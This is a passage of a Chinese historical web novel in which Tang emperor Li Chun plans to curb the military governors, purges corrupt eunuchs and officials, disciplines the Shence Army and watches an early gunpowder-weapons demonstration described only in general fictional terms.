“德宗朝以来,因陇右完全丢失,目前名义上朝廷还有14个道、232个州,但是因为藩镇割据,朝廷能够直接掌控的只有一半,其他的都在各节度使手里,其中有71个州既不申报户口,也不上缴赋税,中央财力急剧压缩。目前统计在册的不到2500万人口,加上隐匿的、逃亡未统计的,大概实际有3000万人,比天宝时期少了一半还多,而供养的军队,全国共有83万,增加了近一倍,百姓养兵的负担相当于天宝时期的四倍,可想有多苦。关键是养的这83万人,中央直属的左右神策军只有8万,其余都是地方部队,掌握在各节度使手里,其中最强的河北三镇,加上平卢、淮西两镇,手里就握着20多万军队,这五个藩镇所有赋税全部握在自己手里,分文不向朝廷上缴,人口数据也是隐瞒,的确是一大患。”
李纯问道:“以你之见,此危机应当如何化解?”
李吉甫从容答道:
“按照规定,地方节度使确实可以拥有一定的财权和兵权,但是辖区内的赋税应当一半上交朝廷,一半自用,辖区的兵力多少,也应上报朝廷同意,按照编制招募。可是有些藩镇根本不管规定,赋税全部截留,自行招募士兵,官员的任免权都在自己手里,形同独立王国。要想一次性解决,确有难度,可以分步来做,先把那一半要上交的赋税收归朝廷,再逐步收回兵权、人事权,方可化解危机。”
李纯赞同道:
“你说的是个思路,可以按照你说的先拟个旨,颁发地方,要求各节度使按照规定把一半赋税上交朝廷,一是可以提高朝廷的财权,二是可以看清哪些藩镇服从朝廷,哪些藩镇跟朝廷作对。”
李吉甫又说:
“藩镇问题,本就是玄宗年间,朝廷考虑不周所设,以至于尾大不掉,后面应当撤销节度使一职,军政分离,这样朝廷才能号令统一。”
李纯非常认同这个观点:
“卿之所言,朕之所想,但是骤然解除他们的权力,肯定会引发他们的集体对抗
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,还是要分步来做,减少对国家的破坏。”
李吉甫说:“陛下所言极是,解决藩镇问题,应智取为主,讨伐为辅,打击首恶,招抚其余,在破坏最小的基础上完成统一”
李纯道:“解决藩镇,你可由良臣良将可推荐?”
李吉甫说:
“天下虽大,良臣良将却不多,当年王叔文狂悖,犯下大错,蛊惑了一帮人参与,很多人已经惩处,被贬黜的八司马,很多还是很有才的,比如柳宗元、刘禹锡在文学上很有建树,程异善于经济,韩泰长于军事,陛下可以找个时机启用。”
李纯道:
“关于八司马的问题,我也考虑过,但是杜黄裳和武元衡他们成见很深,矛盾还没有化解,八司马也需要一个阶段反省,目前时机还不成熟。李爱卿平时都喜欢读哪些书,做些什么事?”
李吉甫说:
“臣文史地理、经济测算都喜欢读一些,也喜欢研究这些东西,臣这些年靠着这些治理地方,干出了一些效果,也想着在朝廷发挥一些作用。”
李纯道:
“李爱卿所言不虚,我朝很多大臣崇尚空谈,不重视处理具体事务,尤其是经济和数据之类的事务,李爱卿以后在这方面要多发挥作用,辅佐朕把天下治理的更好些。”
李吉甫说:
“关于发展经济,臣还有一个想法,那就是鼓励农民垦荒。近年来由于战乱不断,不少农民逃亡,导致大量田地荒芜,在边疆地区人口稀少,也有不少荒地。与此同时,目前却还有不少无地、少地的农民,被迫成为佃户,租地耕种,收入微薄。朝廷可以采取措施,鼓励无地、少地的农民进行垦荒,既可以让一些农民拥有自己的土地,也可以增加朝廷的赋税。”
李纯道:
“这一点,你和朕想到一起了,一些无主的荒地,就应该鼓励农民前去耕种,但是中原一带藩镇问题还没有解决,难度比较大。福建、岭南、安南一带荒地较多,那里人口较少,可以鼓励中原的百姓到那里开垦。”
李吉甫说:
“陛下所言极是,如果中原的农民到这三个地方垦荒超过五年,就可以把开垦的荒地归为个人所有,当然也要有一定的限制,比如男丁每人二十亩,女人每人十亩,老人孩子每人五亩,这样一个家庭就有四十多亩地,只要勤劳肯干,生活上有个基本保障。”
李纯道:“李爱卿说得对,垦荒之事就依你所言,你会同户部去办就好,百姓的生活好了,朝廷的日子才能好,今天就到这里吧。”
李吉甫走后,李纯觉得他的两个关于经济上的主意确实不错,按照规定可以从地方节度使手里收一部分财权,通过垦荒也可以增加田赋收入,虽然短期内数额不大,但是长期下去确实可以增加不少。
第20章 削除巨宦
李纯有又开始考虑下步的选人用人问题,如果都像李吉甫这样有干劲、有办法多好,何愁大事不成?
朝中的一些重臣,如郑余庆、杜佑、郑絪、高郢等人,大都年老才平,身居高位,发挥作用有限。
宰相杜黄裳离自己的期望值也有些差距,杜黄裳有气魄,能干大事,但是平时不拘小节,粗枝大叶,在办一些具体事上不考虑细节,办事虎头蛇尾,听说他还收了西川节度使高崇文不少贿赂。
但是这些人这些人都有些功劳,自己即位不久就换掉说不过去,目前合适的人才也不多,只能后面找机会逐步平替。
经过一段时间的观察,李纯认为有能力、有思想的大臣中,首选李吉甫,此人知识丰富,办事认真,抓关键更抓细节,做人刚柔中和,上下都能接受,更关键的,他就是一个数据库,很多东西问他,都给你讲的清清楚楚。
其次是御史中丞武元衡,此人文武全能,嫉恶如仇,能干事,也能成事,是个人才。
还有翰林学士裴垍,也是个有思想、有能力,心思细腻之人,可以委以重任。
兵部侍郎李绛,做事情很有想法,敢于直言,很多事情都有独到的见解,但有时过于刚直,容易得罪人。
其他诸如崔群、李巽、李藩等人,均各有优长,都是以后自己要倚重的人才。后面可以让那些年龄大的老臣退休,找机会把这几个人逐步提拔到重要的岗位,帮助自己干出一番大事业。
关于宦官问题,李纯决定不再提起此事,自己单独筹划,寻找合适的机会,逐步剪除。李纯虽然不动声色,但是一直在暗中观察几个主要宦官的表现,寻找他们的破绽和问题,借机解除他们的权力。
俱文珍那边失了兵权以后,对其他宦官的控制力不如以前,原来排名第二的内枢密使刘光琦地位上升,私下利用手中的职权干预朝政,谋取私利,引起了李纯的注意。
这个所谓的内枢密院还是前几任皇帝所设,他们觉得朝臣没有宦官听话,在朝廷之外又在宫内设立一个内枢密院,并任命亲信宦官担任内枢密使,帮助皇帝处理朝政。
李纯认为,内枢密院就是前几个昏庸的皇帝为了省事所设,留给宦官干政的机会,他本想撤掉,但是看到刘光琦不安分,可以让他先犯错,然后可以名正言顺的解决。
内枢密使刘光琦贪权好财,前面看到俱文珍通过拥立李纯为帝,立下大功,赏赐丰厚,非常眼馋。
刘光琦现在自己地位上升了,也想利用职权捞钱,满足内心的欲望。他虽是内枢密使的身份,但是李纯比较有主见,很少让他处理具体政务,他只能传达皇帝意见,不能直接参与政事。
为了方便揽权牟利,刘光琦暗地里在朝臣中寻找代理人,这样可以内外勾结,方便插手朝政获利。
中书省六品堂官滑涣,官职不高,却又内心贪婪,也急着找一个靠山,好趁机参与朝政,捞取好处。经过几次接触,两人一拍即合,结了一个利益团伙。
由刘光琦在宫内打探消息,熟知皇帝和宫内的动向,然后向滑涣传递消息,由滑涣向中书省转达。
中书省有时也搞不清是皇帝的意思,还是俱文珍或刘光琦的意思,既然是宫里传出来的意见,也懒得去探究,基本都按照滑涣传递的消息去落实,刘光琦、滑涣趁机卖官鬻爵,捞了不少好处。
久而久之,滑涣狐假虎威,觉得自己牛逼起来了,对中书省的臣僚也开始倨傲起来,有些中书省的官员也逐渐知道了其中的玄机,但是他们对宦官之祸都是记忆深刻,还是不愿得罪刘光琦和滑涣。
宰相郑余庆和宦官有矛盾,十分反感滑涣的所作所为,向皇帝上书**滑涣,刘光琦和滑涣相互串通,拒不承认所有罪行,反告郑余庆捕风捉影,诬告他人。
李纯觉得,刘光琦和滑涣的罪行还不够大,郑余庆的**,没有证据,难以施以重惩,天令其亡,先令其狂,不如让他们充分暴露罪恶,然后再施霹雳手段,彻底铲除。
同时考虑到,郑余庆虽然刚直,但是年龄偏大,能力偏弱,不如顺势退下来,也可以麻痹刘光琦和滑涣。
充分考虑后,李纯下旨由俱文珍来调查这个事件,有几个朝官提出反对意见,都被李纯挡回去了,让很多人都错以为皇帝偏向宦官。
俱文珍作为宦官首领,又收了刘光琦和滑涣不少好处,调查的结果自然有利于刘光琦和滑涣,这也符合李纯预期的情况。
李纯最后定下结论,郑余庆有些老糊涂了,所言不实,调查中没有发现刘光琦和滑涣罪行,考虑到郑余庆以前也有功劳,撤掉其宰相之职,保留原来待遇,让其退休。
收到这个处理结果,刘光琦、滑涣欢欣鼓舞,自以为得计,贪婪之心更甚,卖官鬻爵、干预政事更加过分。
滑涣家里简直是门庭若市,**的,川流不息,滑涣是来者不拒。李纯冷眼旁观,看着他们蹦跶,就是装着不知道。
刘光琦主内、滑涣主外,两个人相互勾结,聚拢了不少官员,所幸基本都是一些小官,朝中的老臣、一些有能力的大臣没有参与其中。
宦官头领俱文珍也有介入,但是参与不深,只是涉及其亲友利益时,才向刘光琦打个招呼,卖官的事很少参与。
李纯看来,这个俱文珍还是有些大局观,不是那种没底线的人,不禁对这个大太监肃然起敬,这也减轻了后续处理此事的阻力。
疮长熟了总会破,就在很多人都不敢惹刘光琦和滑涣时,中书舍人李吉甫出手了。
通过接触和观察,李吉甫认为李纯是一个胸怀大志的皇帝,定有解决宦官问题的想法,上次郑余庆之所以失败,一是那时两人的罪行还不大,二是郑余庆没有提供证据,小打小闹没有用。
李吉甫经过暗中观察收集,拿到了很多刘光琦和滑涣卖官**的证据,然后把掌握的情况写成奏折交给李纯。
奏折中把两人贪腐的情况写的很详细,哪些人,什么时候找他们,送了多少钱,得了什么官都写出来了,甚至对滑涣钱财藏匿的地点和金额写的都很清楚。
李纯等的就是这一刻,暗自佩服李吉甫的心机深沉,手段老辣,干脆就任命李吉甫全权彻查此事。
李吉甫雷厉风行,立即采取断然措施,带人对滑涣的官衙
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和住所进行彻底的搜查,力求查出所有实证。经过仔细的搜查,李吉甫在滑涣的官衙和家里搜到上千万钱,远超一个六品官的收入,坐实了他****的罪名。
既然掌握了关键证据,李吉甫立即把滑涣关入牢中审讯,经过一番拷问,滑涣是竹筒倒豆子,全部招供,自然涉及到刘光琦和一大帮人。
对于滑涣这种小官巨腐,李纯毫不留情,勒令**,抄没家产。对于涉及此案的其他人,按照罪行大小,由御史台进行处理,对于其中的刘光琦和俱文珍,李纯决定施展一下手腕,亲自处理。
李纯派人将俱文珍单独召到紫宸殿,把李吉甫关于此案的奏报给他看,俱文珍看到奏折的内容,额头不禁流出汗来。
一是宦官刘光琦在此案涉及很深,**金额巨大;二是提及了自己也涉及此案,间接通过刘光琦、滑涣帮助亲友谋取官职;三是上次自己调查两人,什么问题没有,这次却查出这么严重的问题。
俱文珍作为大太监,虽然经历过很多风雨,但是这次自己也卷入此案,如何处理都在皇帝的一念之间,俱文珍不禁踌躇起来。
看到这里,李纯说道:“俱公公为朕立过大功,做事也很有分寸,朕一向看重你,此事涉及宫中的太监,作为大内总管,你看该怎么处理?”
俱文珍听到李纯没有直接点出自己的问题,连忙借坡下驴,叩首道:“老奴御下不严,约束不力,还请陛下责罚。”
听到俱文珍不提自己的事,李纯也不捅破,说道:“俱公公快快起来,刘光琦犯错,主要罪责在他,朕不会归罪与你,今天既然请你来,就是听听你的意见,但说无妨。”
俱文珍黯然说道:“当年拥立陛下,刘光琦也是有出力的,他犯错是该责罚,老奴恳求饶他一命,其他听凭陛下发落。”
李纯等的就是他这句话,于是说:“俱公公言重了,朕不是不念旧情之人,也不愿滥杀,朕打算撤去他一切职务,赶出宫去。”
俱文珍说:“谢陛下仁慈,刘光琦出去也没地方呆,顺宗皇帝的陵墓缺人看护,老奴建议让他去那里守陵。”
李纯道:“就依你所言,另外,俱公公年龄也大了,不宜再操劳,何不早点安享晚年?”
俱文珍听后,知道李纯这是让自己体面退休,但是他哪里肯轻易放弃权力,显得犹豫不决。
李纯当即对李承闽使个眼色,李承闽赶忙拿来一个盒子给俱文珍说:“这是皇上赏你的。”
俱文珍打开一看,盒子里都是金银珠宝,这是给他下软招,如果自己不配合,李纯可能就会对他来硬的,到时候就没有这么好的待遇。
俱文珍也是一个聪明人,当即作出决断,跪下拜道:“老奴谢陛下赏赐之恩,一切全凭陛下做主。”
李纯道:“俱公公也是立下大功的人,朕也不能亏待于你,另赏你为左金吾卫大将军,荣归故里。”
俱文珍还能说什么呢?该给的体面都给了,皇帝也够意思了,如果再不识趣,就是给自己添麻烦。得了荣誉,得了钱,手里也有不少积蓄,还是按照李纯的意思来吧,体面退休、荣归故里。
第21章 敲打宦官
刘光琦和俱文珍都退了,只剩下薛盈珍,宦官势力大减,李纯也不想一下子把动作搞得太大,就想等着后面分步解决。李纯觉得,是人就有弱点,就有贪欲,等薛盈珍后面犯错,自己再堂堂正正把他拿下。
李纯分析历史得出结论,所谓宦官之祸,都是那些昏庸的皇帝过于信任和依靠宦官,给予太大的权力,长期纵容,以至于养痈成患,最后成为大问题。
李纯并不恨宦官,觉得他们就是普通人,用妥善的手段解决掉问题就好,不必非要杀伐流血。
俱文珍退休后,李纯没有任命新的大内总管,但是宫里的具体事一般都是交给李承闽去办,相当于给他增加了不少实权,在宦官地位提升很多,他高兴坏了,找机会赶忙向李纯有所表示。
李纯发现,李承闽地位上升后,他的晚餐丰盛了很多,还多了几个漂亮的宫女侍候。就对李承闽说:
“小李子,我素来节俭,吃用都很简单,餐桌上怎么多了熊掌、燕窝、鹅肝等珍奇,又多了几个宫女来侍候干什么?”
李承闽讨好地说:“陛下处理朝政非常辛苦,这都是各地进献的,其中也有奴才进献的,希望皇上可以高兴一些。”
李纯怒道:
“放肆!你的进献不就是拿宫里的东西来做好人?朕即位之初时就让各地停止进献,日常用度节俭为主,更对这些宫女没什么兴趣,你是想让朕玩物丧志吗?”
李承闽赶忙跪下说:
“奴才糊涂,以前的皇帝刚即位时都是做个样子,后面就像以前的皇帝一样喜欢享受,奴才对陛下理解有误,奴才该死!”
李纯脸色缓和了一些:
“算了,起来吧,你的地位提升了,就想向我表示一下,本无可厚非,但是不要诱导君王去享受,过多的物质享受会腐蚀人的心志,我一个人的时候,吃用就简单点,严禁奢侈浪费,你以后就不要在这些方面用心了。”
马屁拍在马蹄上,李承闽郁闷坏了,起来后站在那里不吭气。
李纯又说道:“你要记住,作为宦官,搞好内廷的事就好,不准干预政务,刘光琦立过功可以不杀,你如果敢背着我乱搞,定斩不赦!”
李承闽连忙说道:“奴才不敢,奴才谨记陛下教诲,本分做事,不敢逾越。”
李纯道:“几样珍品,送给郭贵妃她们吃吧,几个宫女打发出宫,找合适的人嫁了,以后不要再搞这些花架子。”李承闽诺诺而退。
李承闽走后,李纯又陷入了思考,作为人怎么可能没有欲望,谁不愿享受?可是历史上的教训太多了,那些穷奢极欲的昏君就不说了,连一些有作为的君主也受到很大影响。
当年越王勾践卧薪尝胆,成就灭吴霸业,后来就耽于享受,锐气尽失。唐玄宗年轻时励精图治,后来取得开元盛世之后,就荒淫无度、宠信奸臣,导致爆发安史之乱。清朝乾隆皇帝前面锐意进取,国力强盛后,就开始奢侈腐化,在其统治后期爆发危机,清朝由盛转衰。
自己心中怀着一统世界江山、振兴华夏民族的宏图大志,决不能玩物丧志、半途而废,老子曰:勤以修身,俭以养德。自己在物质上还是要严格约束一些。
左右神策军是朝廷直接掌握的一支武装,拥有八万人,李纯对他们寄予厚望,希望将他们训练强大,以后可以作为平定藩镇的主力部队。
范希朝到了左神策军之后,按照李纯的意见,开始大规模的操练军队,以期迅速提高军队的战斗力。
神策军长期由宦官把持,待遇优厚,地位特殊,很多人都是富户子弟争相通过送礼进来。神策军上下到处是关系户,这些军兵骄横跋扈惯,不愿吃苦,范希朝对他们的训练非常不顺。
俱文珍虽然走了,但是左神策军的副职,也就是中护军仍然由宦官张昔让担任,张昔让虽不与范希朝对抗,但也不怎么合作,下面的几个统军也散漫惯了,不太配合范希朝的领导。
范希朝一方面感到神策军难以训练,一方面还被张昔让等人掣肘,心里非常憋屈,索性找到李纯诉苦。
李纯听了范希朝的诉说以后,非常愤怒,他觉得朝廷从有限的财力中挤出大量的钱财,供养左右神策军,没想到养了一群少爷兵。
李纯想起,当年孙武可以把一群宫女训练出来,何况是一群大男人,所用无非就是**立威、严明军纪。
李纯问范希朝:“你去左神策军也有两三个月了,难道就没有发现可用之人,有没有信得过的自己人?”
范希朝答道:“我们左神策军分为五个厢,第二厢统军李愬为人正直,有勇有谋,治军有方,和臣甚为投缘,可以一用。”
李纯又问:“那哪一个统军最不配合你、训练最差?”
范希朝说:“剩余的四个厢,有两个厢的统军都跟张昔让关系密切,尤其以第一厢统军杨光烈最为桀骜不驯,训练也最差。”
李纯道:“神策军这些少爷兵是该整顿一下,你先回去准备一下,明天朕就去左神策军检查训练情况,到
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时候会烧一把火,给你助下威。”
次日,李纯带着兵部侍郎李绛和李承闽,由五百亲兵护着,突然来到左神策军大营,声称来检查部队的训练情况,统领范希朝与中护军张昔让和几个统军赶忙出来叩拜迎接。
李纯看到这些人跪在那里,从马车上慢慢走下来,故意让这些人跪一会,让这些人起来时,李纯又用冷峻的眼神对他们扫视一番,看的他们心中发毛,这些人赶忙低下头,明显感受到了皇帝的威严。
李纯看没人敢挑战他的权威,也达到了压制的目的,这才让诸将起来。这些人平时虽然骄横跋扈,但今天感觉到皇帝来者不善,起来后赶紧摆出低眉顺眼的姿态,簇拥着李纯往大营里面走。
正走着,李纯突然说道:
“朝廷每年花了大把的银子养着神策军,朕久闻左神策军实力强大,今天朕要亲眼看看你们的训练情况,范爱卿,你挑一支部队演示给朕看看。”
范希朝哪敢直接选部队,这样就等于自己做了恶人,于是说道:“我们左神策军分为五个厢,还是陛下亲自挑选最为合适。”
李纯也不废话,直接说:“按照朕的理解,第一厢应该是实力最强的,那就从第一厢抽出部队,演示一些平时训练的内容,让朕看一下训练的成果。”
范希朝立即喊道:“第一厢统军杨光烈,速速准备,待会将从你部抽出部队,给陛下演示平时训练的内容!”
杨光烈突然听说要看自己的部队,有点懵圈,但是也得硬着头皮答应下来,赶紧命人通知自己的部队做好准备。
李纯走上观礼台后,范希朝赶紧拿来一个名册,让李纯从第一厢抽点部队。李纯看到厢下面还有几个营,营下面又有几个队,感觉一下子看很多部队演示也不现实,就抽了三个队,让他们分别演示武器操练、骑射、阵法三个内容。
范希朝命人将李纯抽到的三个队交给杨光烈后,没想到杨光烈对这三个队也不熟,赶紧命人把这三个队带上来。
由于李纯来的突然,有些军兵居然跑出军营了,杨光烈派去的人吆喝了半天还没把人找齐,杨光烈在那边急的团团转,又赶忙派人去催促。
李纯等了一刻钟,居然连个人影都没有,不由的生气了,压着怒火道:“杨统军,你的部队呢?如果有敌人来袭,你是让朕自己去打仗吗?”
杨光烈吓得半死,赶忙跪下磕头:“都怪末将驭下不严,末将这就亲自去找。”说完急忙往自己的军营跑去。
第22章 整军肃纪
又花了约半个时辰,杨光烈才把三个队拉过来,急匆匆来到演练场。李纯仔细打量了一下,发现这些人有的胖、有的瘦,很多人盔甲都不合身,穿的也是歪七歪八的,看着都别扭。
李纯也不想再骂他们,就一摆手,示意开始演练。于是两个队先下去准备,一个队留下开始演练武器操作。
这个队的士兵全部拿的是长矛,由队长下口令,士兵们根据口令做各种动作。部队演示前,首先要散开列队,形成一个规整的队形,相互保持一定距离,然后才能开始操练,不然容易刺到其他人。
这个队从散开队形时,就稀稀拉拉,胡乱散成一片,而不是一个标准的长方形。部队散开后,队长下各种口令,但是下面的士兵动作搞得是五花八门,一杆长矛在他们手里就像一个烧火棍,乱舞乱刺,不仅动作杂乱,而且很多人有气无力,长矛都拿不稳,挑、刺、劈等动作基本都是糊弄过去,看起来乱七八糟。
第一个队演示结束后,李纯隐忍不发,又让第二个队开始演练。
第二个队演示的是骑射,演练场上摆了十个靶子,然后这个队分成十人一组,骑着马在距离靶子30丈左右的位置连射3箭,第一组射完以后,立即骑马离开,然后第二组接着射,如此往复。
只见第一组人上来以后,到了位置就勒马停住,然后开始对着靶子射箭,有的人竟然拉弓都很费劲,射箭射的很吃力,其中有一部分箭还没到靶子就落了下来,还有很多射偏,只有少量的箭矢射到靶子上。
到了第二组更夸张,总共射了30箭,只有两支箭射到靶子上,第三组也是差不多,第四组居然轮空,全部脱靶,第五组只有一支箭射到靶子上。
李纯仍然压着怒火,让第三组继续演示。
第三组演示的是阵法,由队长挥舞旗子,所有士兵根据挥舞旗子发出的信号,排列出不同的阵形,如方阵、圆阵、雁形阵等,以便在战斗中能够统一指挥和协同作战。
那个队长左右手各拿一个小红旗,开始挥舞起来,搞不清是队长挥舞的不对,还是士兵看不懂,只见士兵们乱跑乱窜,就像一群无头的蚂蚁一样,搞的乱哄哄的,根本没有任何章法。
李纯实在忍不下去了,怒道:“混账杨光烈,你可知罪?”
杨光烈看到自己的三个队都是搞的一团糟,又气又怕,本就非常窘迫,听到皇帝发怒,立即跪倒在地:“末将该死,末将训练不力,恳请陛下责罚。”
李纯喝道:“像你这样的饭桶,留着何用,拉下去砍了!”
杨光烈没想到李纯这么狠,吓傻了,当即磕头如捣蒜,恳求饶命,范希朝和张昔让也不能坐视属下**,赶忙也跟着求情。
李纯冷冷地说:“你们两个还好意思求情,部队训练成这个样子,你们也有很大的责任,朕还想治你们的罪呢。”
范希朝说:“杨统军虽然训练不力,但是罪不至死,还请陛下三思。左神策军治军不力,臣有罪,甘愿受罚”
张昔让则是站在那里,不敢说话,唯恐引火烧身。
张昔让不说话,不代表李纯会放过他,李纯继续带着怒气说:“范希朝作为主将,固然有错,但是来左神策军不过两个多月,张昔让作为中护军,在左神策军有好几年了,长期纵容不管,你该当何罪?”
张昔让听到李纯揪出他的罪名,立即跪下,恳求李纯饶恕。
李纯也知道训练不力罪不至死,也不想杀他们,不过就是立威演戏而已,这时扭头对李绛说:“李侍郎,左神策军训练如此之差,按照律法,这些人该如何治罪?”
李绛也不想做恶人,就说:“将领治军不力,贻误训练,按照律法,轻则降职处理,重则削职为民,杨光烈虽有错,但是罪不至死,还请陛下从轻发落。”
李纯也就借坡下驴,说道:“杨光烈如此不堪,留之何用,即日起削职为民,永不续用!”
杨光烈顷刻间丢了官职,心痛不已,但好歹保住了性命,只得磕头谢恩。
处理完杨光烈,李纯又开始将矛头对准张昔让,说道:“张昔让,你作为一个太监,让你训练部队确实也有点难为你了,你原来是干什么的,当初因何来到左神策军?”
张昔让看到李纯怒气稍缓,赶忙说:“奴才原来在宫中是管理财物的,后面是俱公公将奴才调到左神策军,部队训练的事,奴才确实不懂。”
李纯道:“这么说来,左神策军训练的事,确实不能完全怪你,但是作为中护军不管部队训练,岂不是尸位素餐?这样吧,你还是回到宫中管理财物吧,中护军令换他人,你看如何?”
李纯说完,就冷冷的盯着张昔让,张昔让被盯的发毛,知道如果不答应肯定没有好果
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子吃,回到宫中还有个差事,总比削职为民强,当即叩首道:“陛下英明,奴才确实不是领兵的料,甘愿回到宫中。”
李纯看到已经达到目的,就不再纠缠,将话题一转:“范希朝,你们左神策军都是这个水平吗,还有没有其他部队可以出来演示一番?”
范希朝当即对其他四个统军说道:“你们四个部队,哪个可以拉出来,给皇上演示一番?”
杨光烈刚刚削职为民,其他统领谁还敢主动涉险,都闷头不说话,短暂沉默一阵后,第二厢统军李愬挺身站出来说:“第二厢愿意抽出部队,给陛下演示一番。”
李纯看到李愬英姿勃发,透着一股威武的气势,当即就有几分欣赏,说道:
“不错,说明左神策军还有人敢站出来,那朕也从你的部队抽出三个队,按照刚才的内容演示一遍。”
李纯说完,范希朝赶忙又拿来一本名册,李纯在第二厢又抽了三个队。
经过这一番折腾,左神策军各部早就知道皇帝来了,全部在军营待命,李愬迅速指挥第一个队入场。
这个队明显比第一厢的那个队强多了,盔甲鲜明,穿戴整齐,部队也很有精气神。在队长的呼喊下,部队逐一做出各种战斗动作,劈砍、刺杀有力,口号响亮,喊声如雷,整个部队动作整齐划一,一套动作演练下来如行云流水,非常顺畅,李纯较为满意。
然后又是第二个队演示骑射,先后五个组轮流射箭,有一大半的箭矢都能射到靶子上,成绩比第一厢有明显的提高。
最后是第三个队,部队在队长挥旗指挥下,不断变换队形,士兵之间配合默契,各自按照编队的需要移动身法,显得有条不紊,挥旗的动作与士兵变换的队形高度一致。
演示结束后,李纯赞道:“这才是能打仗的部队,可见左神策军也不是一无是处,既然李愬会训练,就接任中护军一职,以后配合范希朝把左神策军练好,三个月后,我还会再来抽点,如果倒是还有问题,我就拿你们两个是问!”
李愬受到皇帝的格外恩赏,当即跪地叩谢。由于当时范希朝给各个统军机会,他们害怕不敢出来,这时看到李愬升官虽然嫉妒,但也不好说什么。
李纯感觉达到目的,就又对众将勉励了几句,让他们把左神策军训练起来,以后好建功立业,然后就起驾返回宫中。
第23章 火器演示
李纯这次恩威并用,有效的震慑了左神策军那些骄兵悍将,一个个再也不敢得瑟。范希朝借机开始大规模整顿部队,淘汰了一帮不合格的兵员,重新招募一批精壮,大规模的强化训练,让左神策军的管理和训练逐渐步入正轨。
李纯对左神策军的敲打,对右神策军也产生了很大的触动,都知道日子不好混,怕皇帝哪天跑去右神策军检查训练情况。
右神策军统领薛盈珍和中护军黄如会两个太监都不太懂训练,在军中发现统军李听善于训练部队,就将训练的事委托给他,算是提高了一些部队的训练水平。
过了一段时间,李纯想去看看火器的进展如何,又想借机敲打一下右神策军,就让人通知左神策军统领范希朝、右神策军统领薛盈珍、兵部侍郎李绛,一起到郭云的火器场去看火器的演示。
新的火器场位于长安城东二十里,占地三十亩,周围全部种上柳树,打上围墙,外界看不到里面。场地也比以前大多了,拥有工人两百多,现场十分忙碌,郭云赶忙跑过来,拜见李纯一行。
李纯问道:“目前各类火器制作的怎么样了,效果如何?”
郭云答道:“禀陛下,**的工艺基本成熟了,威力比较大。微臣按照陛下的吩咐,做了几种火器样品,今日进行现场试验,请陛下看一下效果。”
在郭云的引导下,李纯和众人走到一个一丈多高的土台上,土台前侧有道五尺高的挡墙,只见在离土台前方四十丈远的场地上,设置了一个长宽各三丈的方形试验场,里面插了五六个人形木偶。
郭云让人在场地的中心位置上放了一个比酒壶略大的陶罐,里面装满**,在顶端洞口处插有火绳。
一个负责点火的人员,用一个点燃的木条,小心的上前引燃火绳,然后就赶忙跑开,躲到一个土包后面。
大概过了五秒钟,只见陶罐猛地**,冒出一团灰白色的烟雾,声音震耳欲聋,并向这边飞来一些碎末粉尘,李纯等人由于离得远,基本没有造成危险。
范希朝就是一愣,说:“这是什么玩意,怎么这么大威力,从来没见过。”
李纯笑道:“这就是你们军中以后要用的玩意,走,到现场看看。”
他们走到小土台的位置,只见土台炸了一个凹坑,几个木偶,有的炸倒,有的炸歪,上面嵌了不少小陶片,如果是**,非死即伤。
李绛说:“这是好玩意,看来兵部的钱没有白花,以后还要多造。”
李纯道:“基本达到了预期的效果,开始下一个试验吧。”
郭兴于是带人,把那几个破损的木偶拔掉,重新插了几个木偶。然后向场地的左侧走去,李纯等人也重新回到高台上。
只见郭云带了三个人,在场地左侧一百米左右的,设置了一个大**,**的下面有个竹管做的滑道,**上用两个粗弦系着一个皮套。
两人用力拉开大**,拉到位后,一个人在皮套里放了一个黑色的铁球,铁球也是两碗相扣般大小,里面装满**,露出一截火绳。
其中一人把大**瞄向场地中间的木偶位置,另一人用火把点燃火绳,而后射手发射,铁球弹射而出,落在几个木偶附近,落点略微有点偏。落地两三秒后,又是一阵**,声音更响。
李纯赶忙带人到现场看效果,只见铁球炸成很多碎片,有大有小,离得炸点近的木偶炸倒了,上面或多或少有些铁片,但是数量比刚才的陶片少一些。威力似乎没有刚才的陶罐大些。
薛盈珍就说:“铁器更贵,怎么威力反而不如陶器?以后不如多做陶器的**。”
李纯解释道:“陶罐虽然炸的更好,但是不方便远程投放,落地容易碎裂,谁会让你把**放到他的身边炸。铁球内部没有预制纹理,炸的不均匀,威力没有完全发挥出来。”
郭云好奇地问:“什么是预制纹理?”
李纯道:“你们以后根据合适碎片的大小,在铁球的内壁或外壁上刻出横竖交织的纹理,这样炸出的碎片大小就会比较均匀,杀伤威力会更大。”
郭云说:“我知道了,以后**的铁壳用生铁来浇铸,浇铸时在模具上留好纹理,这样浇铸出来的铁球表面就有纹理了。”
李纯笑道:“看你五大三粗,还挺聪明,一点就透。”
李纯又问郭云:“**搞得怎么样,今天能看吗?”
郭云委屈的说:“恕微臣愚笨,进展的不太顺利,铁管装入**后,再装进**,但是在前面没法设置火绳,只能在枪身后面设置火绳,就会有个孔,**发射时,会从后面的孔里喷射火焰,最重要的是目前的铁器质量不太行,铸造合适的**有难度。”
李纯又问:“火炮的情况呢?”
郭云答道:“火炮也是有问题,刚开始容易炸膛,后面就把炮管铸的很厚,一是耗铁很多,
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炮身会很重;二是后面也是会在后面的点火孔内喷射火焰,减少威力。”
李纯道:“看来主要还是被钢铁的质量卡住了,你们后面找工部想想办法。这样吧,你再制作一些麻布袋,大约装十斤左右的**,可以当**包用,攻城时可以挖地道炸城墙。”
李绛惊喜道:“这个主意好,是个攻城的好办法。”
李纯又道:
“今日看来,比较成熟可用的,一是铁球**,经过大**发射,可以远距离杀伤敌人。二是**包,可做攻城使用。陶罐易碎,就算了。关于**、火炮,我可以给一个思路,可以降低一下难度,做一个铁管,在里面先填上**,再塞一些铁砂进去,用木杆从前面捅实,再从后面用火绳点燃**,制成突**,等技术成熟了,再****、火炮。”
薛盈珍奉承道:“陛下真是百事通,怎么什么都懂。”
李纯继续说道:“弓**铁球**和**包就先做一批给你们左、右神策军训练使用,用熟练了,再大规模推广”
范希朝说:“那个陶罐**也可以做一些,我觉得用于偷袭或埋伏也不错。”
李纯道:“可以,只要军中有需要,可以让郭云多做一些,关于左神策军的训练,目前进展的如何?后面如果朝朝廷削藩,还要等着你们出力。”
范希朝说:“前面部队淘汰了一些素质差的兵员,又重新招募了一些精壮,再训练半年,就可以形成战斗力,随时可以拉出去战斗。”
李纯又问薛盈珍:“你们右神策军训练的如何,朕还想去你们那里看一下训练的成果。”
听到这话,薛盈珍有些紧张,忙说:“奴才乃是宦官,训练自然不如范将军,形成战斗力尚需一些时日。”
李纯顺势说道:“行军打仗本就不是宦官擅长的事务,训练部队自然需要猛将去干,你没有挖掘几个人才吗?”
薛盈珍赶忙说道:“我们军中的统军李听还不错,奴才让他参与训练部队,取得了一些效果。”
这些情况,李纯当然知道,就是故意引出话头的,然后说道:
